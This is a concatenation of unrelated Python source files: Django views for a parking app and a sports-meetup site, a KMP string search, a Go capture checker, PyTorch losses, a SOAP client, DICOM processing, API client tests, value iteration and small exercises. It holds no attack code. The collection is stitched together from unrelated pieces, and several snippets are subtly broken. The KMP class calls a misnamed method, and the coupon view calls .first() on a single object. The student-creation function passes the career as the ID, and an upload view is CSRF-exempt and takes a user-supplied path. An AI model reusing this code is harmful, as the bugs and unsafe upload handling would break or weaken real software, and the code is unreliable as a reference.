    except_list = ["src", "^test_", "_OspModelDescription.xml"]
    except_pattern = "(" + "|".join(except_list) + ")"

    logger.info(f"Clean OSP simulation case folder: {case_folder}")

    for pattern in case_builder_result_files:
        files = list(case_folder.rglob(pattern))

        for file in files:
            if not re.search(except_pattern, str(file)):
                # logger.info("%s in list to clean" % file)
                if file.is_file():
                    # logger.info("file %s cleaned" % file)
                    file.unlink(missing_ok=True)
                else:
                    # logger.info("dir %s removed" % file)
                    rmtree(file)
    return


"""
KMP算法模板题目
这个题目的理解难度较高
单独抽时间理解一遍
"""

class Solution:

    def get_next(self, a, needle):
        # 自身匹配
        # 构建前缀表
        next = [' ' for i in range(a)]
        # 初始化前缀表
        k = -1
        next[0] = k
        for i in range(1, len(needle)):
            # 在前缀表中进行回溯，这一部分借用到了之前求解的结果，可以说是一种递归
            while(k > -1 and needle[k+1] != needle[i]):
                k = next[k]

            if needle[k+1] == needle[i]:
                k += 1
            next[i] = k
        # 返回前缀表
        return next

    def strStr(self, haystack: str, needle: str) -> int:
        #
        a = len(needle)
        #
        b = len(haystack)
        if a == 0:
            return 0
        next = self.getnext(a, needle)
        # 设置开始
        p = -1
        # 两个数组间的匹配
        for j in range(b):
            while p >= 0 and needle[p+1] != haystack[j]:
                p = next[p]
            if needle[p+1] == haystack[j]:
                p += 1
            if p == a - 1:
                return j - a + 1
        return -1


# !/usr/bin/env python3
# encoding: utf-8

"""
    Find if a given black is conquered in the board game Go.
        black and white play alternately.
        black is conquered if it is (and all its neighboring blacks, if any, are also) surrounded by whites or borders of the board.
        board size is 19x19

    @author: Mohammed Ataaur Rahaman
"""

BLACK = 'Black'
WHITE = 'White'
EMPTY = None

BOARD = [
    [EMPTY, WHITE, BLACK],
    [EMPTY, WHITE, BLACK],
    [EMPTY, EMPTY, EMPTY],
]
ROW = len(BOARD)
COL = len(BOARD[0])

def is_captured(i, j, visited):
    if visited[i][j]:
        return True

    if BOARD[i][j] == EMPTY:
        return False

    if BOARD[i][j] == WHITE:
        return True

    visited[i][j] = True
    # Move left
    if j > 0 and not is_captured(i, j - 1, visited):
        return False

    # Move Right
    if j < COL - 1 and not is_captured(i, j + 1, visited):
        return False

    # Move Up
    if i > 0 and not is_captured(i - 1, j, visited):
        return False

    # Move Down
    if i < ROW - 1 and not is_captured(i + 1, j, visited):
        return False

    return True

def is_captured1(i, j, visited):
    if BOARD[i][j] == EMPTY:
        return False

    if BOARD[i][j] == WHITE or visited[i][j]:
        return True

    visited[i][j] = True
    if (j > 0 and not is_captured1(i, j - 1, visited)) or \
            (j < COL - 1 and not is_captured1(i, j + 1, visited)) or \
            (i > 0 and not is_captured1(i - 1, j, visited)) or \
            (i < ROW - 1 and not is_captured1(i + 1, j, visited)):
        return False

    return True

if __name__ == '__main__':
    visited = [[False]*COL for i in range(ROW)]
    print(is_captured(0, 2, visited=visited))

    visited = [[False] * COL for i in range(ROW)]
    print(is_captured1(0, 2, visited=visited))


import numpy as np
from scipy.stats import ttest_ind

np.random.seed(0)

# set up simulation parameters
num_simulations = 15000  # number of simulations to run
sample_size = 20  # sample size for each group
mean_1 = 0  # true mean for group 1
std_dev = 1  # standard deviation for both groups
corr = 0.5  # correlation between dependent variables

# generate dependent variables with specified correlation
cov_matrix = np.array([[1, corr], [corr, 1]])
# dependent_vars = np.random.multivariate_normal([0, 0], cov_matrix, size=sample_size)

# initialize lists to store results
p_values = []

# run simulations
for i in range(num_simulations):
    # generate random data for both groups
    group_1 = np.random.multivariate_normal([mean_1, mean_1], cov_matrix, size=sample_size)
    null_hypothesis = np.random.normal(loc=mean_1, scale=std_dev, size=sample_size)
    # this null hypothesis has the same mean and standard deviation as the dependent variables we
    # obtained from multivariate normal distribution
    dep_var1 = group_1[:, 0]
    dep_var2 = group_1[:, 1]
    dep_mean = (dep_var1 + dep_var2) / 2

    # calculate t-test p-value for each situation
    p_value_1 = ttest_ind(dep_var1, null_hypothesis)[1]
    if p_value_1 < 0.05:
        p_values.append(p_value_1)
    else:
        p_value_2 = ttest_ind(dep_var2, null_hypothesis)[1]
        if p_value_2 < 0.05:
            p_values.append(p_value_2)
        else:
            p_value_3 = ttest_ind(dep_mean, null_hypothesis)[1]
            if p_value_3 < 0.05:
                p_values.append(p_value_3)

# print the results
print(len(p_values))
print("Percentage of significant results", round(len(p_values) / num_simulations, 3))


from django.shortcuts import render, redirect
from django.http import JsonResponse
from django.views.decorators.csrf import csrf_exempt

from .models import *
from realtime.models import InAndOut
from .decorators import user_required, get_park_time

'''用户端 - 我的'''

@user_required
def personal(request, user):
	ctx = { 'menu': 'personal'}
	print(user.wechat_user().head_img)
	ctx['user'] = user

	return render(request, 'public_count/personal/my.html', ctx)

@user_required
def mybill(request, user, id=None):
	ctx = {}

	if id:
		ctx['r'] = r = InAndOut.objects.filter(id=id).first()
		if r:
			ctx['hours1'] = get_park_time(r.in_time, r.out_time)
			ctx['hours2'] = get_park_time(r.out_time, r.final_out_time)

		return render(request, 'public_count/personal/bill-detail.html', ctx)

	return render(request, 'public_count/personal/mybill.html', ctx)

@user_required
def mycard(request, user):
	ctx = {}

	from chargerule.models import Card

	plates = MyPlate.objects.filter(user=user)
	plates = [i.plate for i in plates]
	if plates:
		ctx['cards'] = Card.objects.filter(car_number__in=plates)

	return render(request, 'public_count/personal/mycard.html', ctx)

@user_required
def mycoupon(request, user):
	ctx = {}

	return render(request, 'public_count/personal/mycoupon.html', ctx)

@user_required
def myplate(request, user):
	ctx = {}

	plates = MyPlate.objects.filter(user=user)

	if request.method == 'POST':
		action = request.POST.get('action')
		if action == 'bound':
			plate = request.POST.get('plate', '')
			MyPlate.objects.get_or_create(user=user, plate=plate)
		elif action == 'unbound':
			id = request.POST.get('id', '')
			MyPlate.objects.filter(id=id).delete()

		return redirect('/wechat/personal/myplate/')

	ctx['plates'] = plates
	return render(request, 'public_count/personal/myplate.html', ctx)

@user_required
def bound(request, user):
	return render(request, 'public_count/personal/bound.html')

@user_required
def problem(request, user):
	if request.method == 'POST':
		car_number = request.POST.get('car_number', '')
		gate_id = request.POST.get('gate', '')
		parkinglot_id = request.POST.get('parkinglot', '')

		p = Problem(user=user, plate=car_number, parkinglot_id=parkinglot_id)
		if gate_id:
			p.gate_id = gate_id
		p.save()

		return render(request, 'public_count/problem.html')

@user_required
def scan_coupon(request, user, id, code):
	from chargerule.models import TicketRecord, UserCoupon

	ctx = {}

	r = TicketRecord.objects.filter(id=id)
	if r.exists():
		r = r.first()
		if r.qrrandom == code:
			from business.views import ran
			r.qrrandom = ran()
			r.save()

			UserCoupon.objects.create(user=user, ticket_record=r.first())
		else:
			ctx['error'] = '二维码已过期'

	coupons = UserCoupon.objects.select_related('ticket_record', 'ticket_record__coupons').filter(status=0).order_by('-create_time')

	return render(request, 'public_count/personal/mycoupon.html', ctx)


import torch.nn.functional as F
import torch
import numpy as np

def mae(input, target):
    return torch.mean(torch.abs(input - target))

def logmae_wav(model, output_dict, target):
    loss = torch.log10(torch.clamp(mae(output_dict['wav'], target), 1e-8, np.inf))
    return loss

def max_si_snr(input, target, eps = 1e-8):
    assert input.size() == target.size()
    B, C, T = target.size()
    # print(B, C, T)

    # zero-mean norm
    mean_target = torch.sum(target, dim = 2, keepdim=True) / T
    # print(mean_target.size())
    mean_input = torch.sum(input, dim = 2, keepdim=True) / T
    # print(mean_input.size())
    zero_mean_target = target - mean_target
    zero_mean_input = input - mean_input
    # print(zero_mean_target.size())
    # print(zero_mean_input.size())

    # Si-SNR
    s_target = torch.unsqueeze(zero_mean_target, dim = 1)
    # print(s_target.size())
    s_input = torch.unsqueeze(zero_mean_input, dim = 2)
    # print(s_input.size())
    pair_wise_dot = torch.sum(s_input * s_target, dim = 3, keepdim=True)
    # print(pair_wise_dot.size())
    s_target_energy = torch.sum(s_target ** 2, dim = 3, keepdim=True)
    # print(s_target_energy.size())
    pair_wise_proj = pair_wise_dot * s_target / s_target_energy
    # print(pair_wise_proj.size())
    e_noise = s_input - pair_wise_proj
    # print(e_noise.size())
    pair_wise_si_snr = torch.sum(pair_wise_proj ** 2, dim = 3) / (torch.sum(e_noise ** 2, dim = 3) + eps)

    pair_wise_si_snr = 10 * torch.log10(pair_wise_si_snr + eps)
    # print(pair_wise_si_snr.size())

    k = pair_wise_si_snr.squeeze(1).squeeze(1)
    # print(k.size())
    loss = 0 - torch.mean(k)

    return loss

def get_loss_func(loss_type):
    if loss_type == 'logmae_wav':
        return logmae_wav
    elif loss_type == 'mae':
        return mae
    elif loss_type == 'si_snr':
        return max_si_snr
    elif loss_type == 'mse':
        return torch.nn.MSELoss()
    else:
        raise Exception('Incorrect loss_type!')


from zeep.client import Client
import zeep

settings = zeep.Settings(strict=False, xml_huge_tree=True)
wsdl = 'http://localhost:7000/ws/EstudianteWebServices?wsdl'
cliente = Client(wsdl)

ListEstudiantes = cliente.service.getListaEstudiante()

def consultar(matricula):
    Estudiante = cliente.service.getEstudiante(matricula)
    return Estudiante

def CrearEstudiante(matricula, nombre, carrera):
    factory = cliente.type_factory('http://soap.eict.pucmm.edu/')
    nuevoEstudiante = factory.estudiante(carrera=carrera, matricula=carrera, nombre=nombre)
    creado = cliente.service.crearEstudiante(nuevoEstudiante)
    return creado

def EliminarEstudiante(matricula):

    return cliente.service.eliminarEstudiante(matricula)

print("[INFO] LISTA DE ESTUDIANTES: ")
for est in ListEstudiantes:
    print('[Nombre]: ' + est.nombre + ' [Matricula]: ' + str(est.matricula))

print('[INFO] Ingrese matricula del Estudiante que desea consultar:  {DEFAULT= 20011136} \n')
id = input()
print('[INFO] ESTUDIANTE CONSULTADO: \n' + str(consultar(matricula=id)))

print('[INFO] Ingrese Información del Nuevo Estudiante que desea CREAR: ')
print('[CARRERA]: ')
carrera = input()
print('[matricula]: ')
matricula = input()
print('[nombre]: ')
nombre = input()

print('[INFO] ESTUDIANTE CREADO: ' + str(CrearEstudiante(matricula=matricula,nombre=nombre,carrera=carrera)))

print('[INFO] Matricular del Estudiante que desea ELIMINAR: ')
id = input()
if(EliminarEstudiante(matricula=id)):
    print('[INFO] ESTUDIANTE Eliminado!')

print('~(^_^)~ --[HAPPY CODING!!]-- ~(^_^)~ ')


# -*- coding: utf-8 -*-
"""
A new file.
"""
import numpy as np
from numba import jit, vectorize

from utils import timeit
from loops import loop1

@timeit
def loop(m, n):
    s = 0
    for i in range(1, m + 1):
        for j in range(1, n + 1):
            s += 1.0 / i + 1.0 / j
    return s

@timeit
def loopcxx(m, n):
    return loop1(m, n)

@timeit
@jit
def loop_jit(m, n):
    s = 0
    for i in range(1, m + 1):
        for j in range(1, n + 1):
            s += 1.0 / i + 1.0 / j
    return s

@timeit
@vectorize(['float64(int64, int64)'])
def loop_vec(m, n):
    s = 0
    for i in range(1, m + 1):
        for j in range(1, n + 1):
            s += 1.0 / i + 1.0 / j
    return s

def main():
    m = 10000
    n = 1000
    r = loop(m, n)
    r1 = loopcxx(m, n)
    r_jit = loop_jit(m, n)
    r_vec = loop_vec(m, n)
    print(r, r1, r_jit, r_vec)

if __name__ == '__main__':
    print('running...')
    main()


class Nellix2ssdf:

    def __init__(self,dicom_basedir,ptcode,ctcode,basedir):

        import imageio
        #import easygui

        from stentseg.utils.datahandling import loadvol
        from stentseg.utils.datahandling import savecropvols, saveaveraged

        ## Select base directory for LOADING DICOM data

        #dicom_basedir = easygui.diropenbox()
        print('DICOM Path = ', dicom_basedir)

        #ctcode = '12months'  # 'pre', 'post_x', '12months'
        stenttype = 'nellix'

        ## Select base directory to SAVE SSDF
        #basedir = easygui.diropenbox()
        print('Base Path = ', basedir)

        # Set which crops to save
        cropnames = ['prox'] #,'stent'] # ['ring'] or ['ring','stent'] or ..

        #===============================================================================
        ## Step A: read single volumes to get vols:
        #  folder1 = '10%'
        #  folder2 = '60%'
        #  vol1 = imageio.volread(os.path.join(dicom_basedir, folder1), 'dicom')
        #  vol2 = imageio.volread(os.path.join(dicom_basedir, folder2), 'dicom')
        #  print(  )
        #
        #  if vol1.meta.SeriesDescription[:2] < vol2.meta.SeriesDescription[:2]:
        #      vols4078 = [vol1,vol2]
        #  else:
        #      vols4078 = [vol2,vol1]
        #
        #  vols = vols4078.copy()
        #
        #  for vol in vols:
        #      vol.meta.PatientName = ptcode # anonimyze
        #      vol.meta.PatientID = 'anonymous'
        #     print(vol.meta.SeriesDescription,'-', vol.meta.sampling)
        #===============================================================================

        ##Orginele code
        #===============================================================================
        #
        # folder1 = '40% iDose'
        # folder2 = '78 iDose'
        # vol1 = imageio.volread(os.path.join(dicom_basedir, folder1), 'dicom')
        # vol2 = imageio.volread(os.path.join(dicom_basedir, folder2), 'dicom')
        # print(  )
        #
        # if vol1.meta.SeriesDescription[:2] < vol2.meta.SeriesDescription[:2]:
        #     vols4078 = [vol1,vol2]
        # else:
        #     vols4078 = [vol2,vol1]
        #
        # vols = vols4078.copy()
        #
        # for vol in vols:
        #     vol.meta.PatientName = ptcode # anonimyze
        #     vol.meta.PatientID = 'anonymous'
        #     print(vol.meta.SeriesDescription,'-', vol.meta.sampling)
        #===============================================================================

        ## Step A: read 10 volumes to get vols
        # Deze zoekt alle mappen en dat zijn er dus 10 maar niet in de goede volgorde
        vols2 = [vol2 for vol2 in imageio.get_reader(dicom_basedir, 'DICOM', 'V')]

        vols = [None] * len(vols2)
        for i, vol in enumerate(vols2):
        #    print(vol.meta.sampling)
            print(vol.meta.SeriesDescription)
            phase = int(vol.meta.SeriesDescription[:1])
            # use phase to fix order of phases
            vols[phase] = vol
            #vols[phase].meta.ImagePositionPatient = (0.0,0.0,0.0)

        for i,vol in enumerate(vols): #wat ik heb veranderd is i, en enumerate()
            print(vol.meta.SeriesDescription)
            assert vol.shape == vols[0].shape
            assert str(i*10) in vol.meta.SeriesDescription # 0% , 10% etc.

        ## Step B: Crop and Save SSDF
        # 1 of 2 cropnames opgeven voor opslaan 1 of 2 crpos.
        # Het eerste volume wordt geladen in MIP, crop met marges van minimaal 30 mm
        for cropname in cropnames:
            savecropvols(vols, basedir, ptcode, ctcode, cropname, stenttype)
        #    saveaveraged(basedir, ptcode, ctcode, cropname, range(0,100,10))

        ## Visualize result

        #s1 = loadvol(basedir, ptcode, ctcode, cropnames[0], what ='10avgreg')
        #s2 = loadvol(basedir, ptcode, ctcode, cropnames[0], what ='10phases')
        s1 = loadvol(basedir, ptcode, ctcode, cropnames[0], what ='phases')
        #s2 = loadvol(basedir, ptcode, ctcode, cropnames[0], what = 'avg010')
        #vol1 = s1.vol
        vol1 = s1.vol40

        # Visualize and compare
        colormap = {'r': [(0.0, 0.0), (0.17727272, 1.0)],
         'g': [(0.0, 0.0), (0.27272728, 1.0)],
         'b': [(0.0, 0.0), (0.34545454, 1.0)],
         'a': [(0.0, 1.0), (1.0, 1.0)]}

        import visvis as vv

        fig = vv.figure(1); vv.clf()
        fig.position = 0, 22, 1366, 706
        a1 = vv.subplot(111)
        a1.daspect = 1, 1, -1
        # t1 = vv.volshow(vol1, clim=(0, 3000), renderStyle='iso') # iso or mip
        # t1.isoThreshold = 600 # stond op 400 maar je moet hoger zetten als je alleen stent wil
        # t1.colormap = colormap
        a1 = vv.volshow2(vol1, clim=(-500, 1500),renderStyle='mip')
        vv.xlabel('x'), vv.ylabel('y'), vv.zlabel('z')
        # vv.title('One volume at %i procent of cardiac cycle' % phase )
        vv.title('Vol40' )


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
from math import sin, cos, sqrt, atan2, radians

from django.shortcuts import render, redirect
from django.contrib.auth.decorators import login_required
from django.views.decorators.csrf import csrf_exempt
from django.core.files.storage import FileSystemStorage
from django.conf import settings
from django.http import JsonResponse
from rest_framework import viewsets

from general.models import *
from general.serializers import *

from rest_framework.decorators import detail_route
from rest_framework.response import Response

def index(request):
    players = []
    locations = []

    if request.method == 'POST':
        center = request.POST.get('center')
        zoom = request.POST.get('zoom')
        lats = [float(ii) for ii in request.POST.get('lats').split(', ')]
        lngs = [float(ii) for ii in request.POST.get('lngs').split(', ')]

        if request.user.is_authenticated() and request.user.home_field:
            players = get_players_in_range(Player.objects.all(), request.user.home_field)

        for loc in Location.objects.all().order_by('name'):
            if lats[0] <= loc.lat <= lats[1] and lngs[0] <= loc.lng <= lngs[1]:
                locations.append(loc)
    else:
        center = '38.60909, -121.3768'
        zoom = 11

    return render(request, 'index.html', {
        'players': players,
        'locations': locations,
        'center': center,
        'zoom': zoom
    })

@login_required(login_url='/')
def profile(request):
    games = GameEvent.objects.filter(datetime__gte=datetime.datetime.now(), players__in=[request.user]).order_by('datetime')
    locations = Location.objects.all().order_by('name')

    players = []
    if request.user.home_field:
        players = get_players_in_range(Player.objects.all(), request.user.home_field)

    return render(request, 'profile.html', {
        'games': games,
        'players': players,
        'num_players': Player.objects.all().count(),
        'locations': locations
    })

def location(request, id):
    location = Location.objects.get(id=id)
    games = location.events.filter(datetime__gte=datetime.datetime.now()) \
                           .order_by('datetime')

    players = get_players_in_range(Player.objects.all(), location)

    return render(request, 'location.html', {
        'games': games,
        'location': location,
        'players': players,
    })

def game(request, id):
    game = GameEvent.objects.get(id=id)

    return render(request, 'game.html', {
        'game': game,
        'players': Player.objects.all(),
    })

def accept_invitation(request, code):
    try:
        gi = GameInvitation.objects.get(code=code)
        gi.is_accepted = True
        gi.save()
        next = '/game/{}'.format(gi.game.id)
    except Exception as e:
        next = '/'

    return redirect(next)

class LocationViewSet(viewsets.ModelViewSet):
    queryset = Location.objects.all()
    serializer_class = LocationSerializer

    def perform_create(self, serializer):
        serializer.save(created_by=self.request.user)

class GameEventViewSet(viewsets.ModelViewSet):
    queryset = GameEvent.objects.all()
    serializer_class = GameEventSerializer

    def perform_create(self, serializer):
        serializer.save(created_by=self.request.user)

    @detail_route(methods=['POST'])
    def join_game(self, request, *args, **kwargs):
        game = self.get_object()
        game.players.add(request.user)
        game.save()
        GameInvitation.objects.create(game=game, player=request.user, is_accepted=True, code="***")
        return Response(status=200)

    @detail_route(methods=['POST'])
    def leave_game(self, request, *args, **kwargs):
        game = self.get_object()
        game.players.remove(request.user)
        game.save()
        GameInvitation.objects.filter(game=game, player=request.user).delete()
        return Response(status=200)

@csrf_exempt
def upload_image(request):
    myfile = request.FILES['images']
    _type = request.POST.get('type', '')
    if _type:
        _type = _type + '/'

    fs = FileSystemStorage()
    filename = fs.save(_type+myfile.name, myfile)
    uploaded_file_url = fs.url(filename)
    res = {"image_url": uploaded_file_url,"image_name": uploaded_file_url.split('/')[-1]}
    return JsonResponse(res, safe=False)

def calc_distance(lat1, lon1, lat2, lon2):
    if lat1 and lon1 and lat2 and lon2:
        radius = 6371  # km

        dlat = radians(lat2 - lat1)
        dlon = radians(lon2 - lon1)
        a = (sin(dlat / 2) * sin(dlat / 2) +
             cos(radians(lat1)) * cos(radians(lat2)) *
             sin(dlon / 2) * sin(dlon / 2))
        c = 2 * atan2(sqrt(a), sqrt(1 - a))
        d = radius * c
        return d
    return settings.RANGE_RADIUS * 10

def get_players_in_range(players, loc):
    players_ = []
    for player in players:
        if player.home_field:
            if calc_distance(loc.lat, loc.lng, player.home_field.lat, player.home_field.lng) < settings.RANGE_RADIUS:
                players_.append(player)
    return players_


from __future__ import absolute_import, division, print_function, unicode_literals

import unittest
from discogs_client import Client
from discogs_client.tests import DiscogsClientTestCase
from discogs_client.exceptions import ConfigurationError, HTTPError
from datetime import datetime

class CoreTestCase(DiscogsClientTestCase):
    def test_user_agent(self):
        """User-Agent should be properly set"""
        self.d.artist(1).name

        bad_client = Client('')

        self.assertRaises(ConfigurationError, lambda: bad_client.artist(1).name)

        try:
            bad_client.artist(1).name
        except ConfigurationError as e:
            self.assertTrue('User-Agent' in str(e))

    def test_caching(self):
        """Only perform a fetch when requesting missing data"""
        a = self.d.artist(1)

        self.assertEqual(a.id, 1)
        self.assertTrue(self.d._fetcher.last_request is None)

        self.assertEqual(a.name, 'Persuader, The')
        self.assertGot('/artists/1')

        self.assertEqual(a.real_name, 'Jesper Dahlb\u00e4ck')
        self.assertEqual(len(self.d._fetcher.requests), 1)

        # Get a key that's not in our cache
        a.fetch('blorf')
        self.assertEqual(len(self.d._fetcher.requests), 2)
        self.assertTrue('blorf' in a._known_invalid_keys)

        # Now we know artists don't have blorves
        a.fetch('blorf')
        self.assertEqual(len(self.d._fetcher.requests), 2)

    def test_equality(self):
        """APIObjects of the same class are equal if their IDs are"""
        a1 = self.d.artist(1)
        a1_ = self.d.artist(1)
        self.d.artist(2)

        r1 = self.d.release(1)

        self.assertEqual(a1, a1_)
        self.assertEqual(a1, r1.artists[0])
        self.assertNotEqual(a1, r1)
        self.assertNotEqual(r1, ':D')

    def test_transform_datetime(self):
        """String timestamps are converted to datetimes"""
        registered = self.d.user('example').registered
        self.assertTrue(isinstance(registered, datetime))

    def test_object_field(self):
        """APIObjects can have APIObjects as properties"""
        self.assertEqual(self.d.master(4242).main_release, self.d.release(79))

    def test_read_only_simple_field(self):
        """Can't write to a SimpleField when writable=False"""
        u = self.d.user('example')

        def fail():
            u.rank = 9001
        self.assertRaises(AttributeError, fail)

    def test_read_only_object_field(self):
        """Can't write to an ObjectField"""
        m = self.d.master(4242)

        def fail():
            m.main_release = 'lol!'
        self.assertRaises(AttributeError, fail)

    def test_pagination(self):
        """PaginatedLists are parsed correctly, indexable, and iterable"""
        results = self.d.artist(1).releases

        self.assertEqual(results.per_page, 50)
        self.assertEqual(results.pages, 2)
        self.assertEqual(results.count, 57)

        self.assertEqual(len(results), 57)
        self.assertEqual(len(results.page(1)), 50)

        self.assertRaises(HTTPError, lambda: results.page(42))

        try:
            results.page(42)
        except HTTPError as e:
            self.assertEqual(e.status_code, 404)

        self.assertRaises(IndexError, lambda: results[3141592])

        self.assertEqual(results[0].id, 20209)
        self.assertTrue(self.d.release(20209) in results)

        # Changing pagination settings invalidates the cache
        results.per_page = 10
        self.assertTrue(results._num_pages is None)

def suite():
    suite = unittest.TestSuite()
    suite = unittest.TestLoader().loadTestsFromTestCase(CoreTestCase)
    return suite

if __name__ == '__main__':
    unittest.main(defaultTest='suite')


from typing import Tuple

import numpy as np
from env import EnvWithModel
from policy import Policy

def value_prediction(env: EnvWithModel, pi: Policy, initV: np.array, theta: float) -> Tuple[np.array, np.array]:
    """
    inp:
        env: environment with model information, i.e. you know transition dynamics and reward function
        pi: policy
        initV: initial V(s); numpy array shape of [nS,]
        theta: exit criteria
    return:
        V: $v_\pi$ function; numpy array shape of [nS]
        Q: $q_\pi$ function; numpy array shape of [nS,nA]
    """

    #####################
    # Implement Value Prediction Algorithm (Hint: Sutton Book p.75)
    #####################

    # Cache the action prob matrix
    action_prob_mat = np.array([[pi.action_prob(s, a) for s in range(env.spec.nS)] for a in range(env.spec.nA)])

    # Init optimization variables
    V = initV.copy()

    # Loop to update the value prediction
    while True:
        Delta = 0  # maximal update error
        for s in range(env.spec.nS):
            v = V[s]
            pi_vec = action_prob_mat[:, s]
            p_mat = env.TD[s, :, :]
            r_mat = env.R[s, :, :]
            return_mat = pi_vec[:, np.newaxis] * p_mat * (r_mat + env.spec.gamma * V[np.newaxis, :])
            V[s] = return_mat.sum()
            Delta = max(Delta, np.abs(V[s] - v))

        if Delta < theta:
            break

    # Now use the value prediction to estimate action-value
    Q = (env.TD * (env.R + env.spec.gamma * V[np.newaxis, np.newaxis, :])).sum(axis=-1)

    return V, Q

def value_iteration(env: EnvWithModel, initV: np.array, theta: float) -> Tuple[np.array, Policy]:
    """
    inp:
        env: environment with model information, i.e. you know transition dynamics and reward function
        initV: initial V(s); numpy array shape of [nS,]
        theta: exit criteria
    return:
        value: optimal value function; numpy array shape of [nS]
        policy: optimal deterministic policy; instance of Policy class
    """

    #####################
    # Implement Value Iteration Algorithm (Hint: Sutton Book p.83)
    #####################

    # Init optimization variables
    V = initV.copy()

    # Loop to update the value prediction of optimal policy
    while True:
        Delta = 0  # maximal update error
        for s in range(env.spec.nS):
            v = V[s]
            p_mat = env.TD[s, :, :]
            r_mat = env.R[s, :, :]
            return_mat = (p_mat * (r_mat + env.spec.gamma * V[np.newaxis, :])).sum(axis=1).max()
            V[s] = return_mat.sum()
            Delta = max(Delta, np.abs(V[s] - v))

        if Delta < theta:
            break

    # Compute the optimal policy that yields the value estimate
    class MyPolicy(Policy):
        def __init__(self, pi_mat):
            self.pi_mat = pi_mat

        def action_prob(self, state: int, action: int) -> float:
            return self.pi_mat[state, action]

        def action(self, state: int) -> int:
            return self.pi_mat[state, :].argmax()

    pi_mat = (env.TD * (env.R + env.spec.gamma * V[np.newaxis, np.newaxis, :])).sum(axis=2)
    pi = MyPolicy(pi_mat)

    return V, pi


f = open('rosalind_ini5 (1).txt', 'r')
i = 0
a = open('outputread.txt', 'w')
for line in f:
    if i%2 == 1:

        a.write( line + '\n')
    i = i + 1
a.close()
f.close()


import sys;input=sys.stdin.readline
from collections import deque
import heapq
import math
N,K=map(int,input().split())
coins=[0]*N
for i in range(N):
    coins[i]=int(input())

def solve(value,count):
    h=[]
    heapq.heappush(h,(count,value))
    while h:
        c,v=heapq.heappop(h)
        print(c,v,'adsf')
        if v==-K:
            print(c,'asdf')
            sys.exit()
        for i in range(N-1,-1,-1):
            if v-coins[i]>=-K:
                heapq.heappush(h,(c+1,v-coins[i]))

ans=0
if N==1:
    print(K)
else:
    i=-1
    temp=0
    while True:
        if temp==K:
            break
        if temp+coins[i]<=K:
            ans+=(K-temp)//coins[i]
            temp+=(K-temp)//coins[i]*coins[i]
        else:
            i-=1
    print(ans)


from capas_proyecto.presentacion.ejecutar_vlc import ejecuta_vlc
from capas_proyecto.acceso_a_datos.api import crear_dicc_nombre_ruta
from capas_proyecto.logica_proyecto.crear_string_ruta_canciones import crear_string_ruta_canciones

RUTA_XML = "archivos_xml\\library.xml"
RUTA_VLC = "C:\\Program Files (x86)\\VideoLAN\\VLC\\vlc.exe"

def main(RUTA_XML, RUTA_VLC):
    diccionario_canciones, num_canciones = crear_dicc_nombre_ruta(RUTA_XML)
    lista_canciones = crear_string_ruta_canciones(diccionario_canciones, num_canciones)
    ejecuta_vlc(lista_canciones, RUTA_VLC)

if __name__ == "__main__":
    main(RUTA_XML, RUTA_VLC)